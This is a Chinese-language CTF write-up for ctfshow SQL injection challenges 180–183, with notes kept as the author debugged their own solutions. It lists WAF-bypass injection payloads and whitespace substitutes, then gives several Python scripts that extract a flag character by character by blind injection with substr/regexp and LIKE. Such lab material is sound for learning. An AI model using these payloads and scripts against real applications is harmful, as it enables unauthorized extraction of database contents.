5.180-181
是所有空格的表达方式都被替代了,这耍赖了吧,凭直觉说是id=26的时候有flag
'or(id=26)and'1'='1
优先级 and > or,所以说 假 or 真 and 真
'or(id=26)and'1
'or(id=26)and'1
?id=0'||id=26||'
union
select
__
/**/
--+
-- -
%0a
%0b
%0c
%0d
%09
183
6.` preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
过滤了一堆,好像包括单引号和空格
空格用的```这种,
主要用的函数是
```html
[POST]PAYLOAD:
tableName=`ctfshow_user`where(substr(`pass`,1,8)regexp("ctfshow{"))
[POST]PAYLOAD:
tableName=(ctfshow_user)where(pass)like'ctfshow{%25'
where( )regexp(" ")
where( )like’ %’
都是匹配度一模一样的才会返回一模一样的值,你猜爆破构造出了正确的才会回显flag
和之前的逻辑不同。substr(pass
,1,8)
tableName=(ctfshow_user)where(pass)like’ctfshow{%’
% :在sql中通配 N 个字符
_ :通配任意一个字符
会发现返回结果 $user_count = 1;代表匹配到了一个,利用此模式盲注
4中脚本程序,不过我认为前两种的比较正确,万一表格里面还有其他的pass,那你一个个爆出pass的真的会是我们flag所在的么?
# @Author:Y4tacker
import requests
url = 'http://57496c50-1b0d-40de-ac22-501e93a1ddbd.chall.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
for i in range(1,46):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break
(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')
import requests
s=requests.session()
url = 'http://2be12acb-3c9e-49d7-80e1-b566b01ef541.challenge.ctf.show:8080/select-waf.php'
flag = 'ctfshow{'
flag_str = '0123456789-abcdefghijklmnopqrstuvwxyz}'
for i in range(9,50):
for j in flag_str:
data = {
'tableName': "`ctfshow_user`where((substr(`pass`,1,{})regexp('{}')))".format(i, flag + j)
}
r = s.post(url, data=data)
if "count = 1" in r.text:
flag += j
print(flag)
if j == '}':
exit()
break
`ctfshow_user`where((substr(`pass`,1,{})regexp('{}'))).format(i, flag + j)
import requests
url = 'http://xxx/select-waf.php'
flag = 'ctfshow{'
flag_str = '0123456789-abcdefghijklmnopqrstuvwxyz}'
payload = "(ctfshow_user)where(pass)like'{}%'"
for i in range(0,50):
for j in flag_str:
data = {
'tableName': payload.format(flag + j)
}
r = requests.post(url, data=data)
if "count = 1" in r.text:
flag += j
print(flag)
if j == '}':
exit()
break
(ctfshow_user)where(pass)like'{}%'.format(flag + j)
自己调试中的程序,重点是空格的替代用的··,匹配ctfshow()的思路,format 格式的应用
# -*- coding: utf-8 -*-
"""
Created on Mon May 24 14:35:03 2021
@author: Administrator
"""
import requests
s=requests.session()
url='http://2be12acb-3c9e-49d7-80e1-b566b01ef541.challenge.ctf.show:8080/select-waf.php'
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag ='ctfshow{'
for i in range(9,10):
print(i)
for j in letter:
data={'tableName': "`ctfshow_user`where(substr(`pass`,1,{})regexp('{}'))".format(i, flag + j)} #这里只要他的符号是`才可以运行,代替空格,如果是单纯地''根本运行不来
ra = s.post(url, data=data)
if '$user_count = 1;' in ra.text:
flag += j
print(flag)
break